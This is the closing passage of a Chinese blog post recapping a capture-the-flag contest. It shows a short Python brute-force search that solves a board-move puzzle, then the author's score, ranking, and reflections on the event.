# inbits is a list with length 16, each element is either 0 or 1
inbits = [int(x) for x in bin(i)[2:].zfill(bitlength)]
for branch in branches:
board.move(branch[1] if inbits[branch[0]] else branch[2])
if bool(board):
print(f'Found a solution: {inbits}')
return inbits

chal(4, False)
chal(16, True, 9000) # Solution: [0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0]

这个拼盘。。能靠掀桌子弄乱吗?

#开摆

总结碎碎念

挂的马甲是江江(珠洲島有栖 | おなかすいた #开摆 #ONGEKI),然后排行榜上逐渐出现了其他的音击角色和 #SEGASB ……

你做得好啊!

其实应该还有机会做出更多的题的,比如「量子藏宝图」,不过由于各种各样的原因这次就止步于此了。5150 分,总榜 #39,虽然临近结束疯狂掉排名但最后还算不错吧。

Base64 大赛、汇编大赛(确信

希望之后我的 Binary 和 Math 技能可以多少长进一点(虽然应该挺难的)。

明年再见!

作者

星野 みなと

发布于

2022-10-29

许可协议

评论

Your browser is out-of-date!

Update your browser to view this website correctly.&npsb;Update my browser now

×